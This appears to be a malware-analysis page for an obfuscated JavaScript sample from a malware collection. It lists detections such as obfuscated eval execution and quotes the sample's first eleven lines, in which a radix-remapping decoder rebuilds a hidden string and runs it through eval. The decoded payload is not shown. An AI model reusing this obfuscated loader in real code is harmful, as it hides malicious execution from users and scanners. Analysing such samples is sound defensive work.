Suspicious ^80% javascript-malware-collection Download

20151211_bf1c9d8a65fe7f532f3ae234bfb1eab1.js

Obfuscated eval execution

parseInt toString radix remapObfuscated increment/decrement via arithmetic

SHA-256f047ed7b0bbec9c07503343eb3dea6eb2188a79fad0e7f6df96dd41dab80ebd7

Evidence

parseInt toString radix remap lines 1–6

1:460… ','w','x','y','z','{','|','}','~','']
2function BadyP(pRWcPlRmmsZ,AYEucpKNAJuxQ,ysXSouwM){EITE=parseInt(pRWcPlRmmsZ,AYEucpKNAJuxQ);IIiwl=EITE.toString(ysXSouwM);return IIiwl;}function qVjyqpfArZufhQH(RswYjetvHiFGgxHPV){eval(RswYjetvHiFGgxHPV)}
3function estiHwNMHtMdkedVOHDtbkRJbyEWLvJVxrgauliXSAZRwoeZeZjSdP(sMkFRfSHTtJZZ,MjDjInQFvBFHmS){ return ucPwG[BadyP(sMkFRfSHTtJZZ[MjDjInQFvBFHmS],(9866+424)/490,(5711+559)/627)];}
4function GjkcMca(XzgSymjsryGFeOSpXCRgYouICMugbPXJbFrU) {return !isNaN(parseFloat(XzgSymjsryGFeOSpXCRgYouICMugbPXJbFrU)) && isFinite(XzgSymjsryGFeOSpXCRgYouICMugbPXJbFrU);}
5function HlisogCIleM(mJTaAeFW,khSAbD){return mJTaAeFW.split(khSAbD)}
6var D=new Array("d","a","d","a","5d","4d","59","1b","5b","1b","2j","1b","1d","5a","56","4i","5b","28","5e","4h","4e", …

Obfuscated increment/decrement via arithmetic lines 8–11

8:4…  nyYdj=[D,c];
9var TXRcZpjYm=[];
10function xFyjdGYURcWdCirVl(nyYdj){jvNsawANQpR= '';UAqPgdsyGQg=(-477+477)/860; while(true){if(UAqPgdsyGQg >= (986+24)/505)break;TXRcZpjYm[UAqPgdsyGQg]=(-598+598)/818; while(true) { if(TXRcZpjYm[UAqPgdsyGQg] > nyYdj[UAqPgdsyGQg].length-(144+544)/688) { break; } if (GjkcMca(BadyP(nyYdj[UAqPgdsyGQg][TXRcZpjYm[UAqPgdsyGQg]],(13411+134)/645,(320+670)/99))) {jvNsawANQpR += estiHwNMHtMdkedVOHDtbkRJbyEWLvJVxrgauliXSAZRwoeZeZjSdP([nyYdj[UAqPgdsyGQg][TXRcZpjYm[UAqPgdsyGQg]]], (-694+694)/604);} TXRcZpjYm[UAqPgdsyGQg]++;}UAqPgdsyGQg++;} return jvNsawANQpR}
11qVjyqpfArZufhQH(xFyjdGYURcWdCirVl(nyYdj));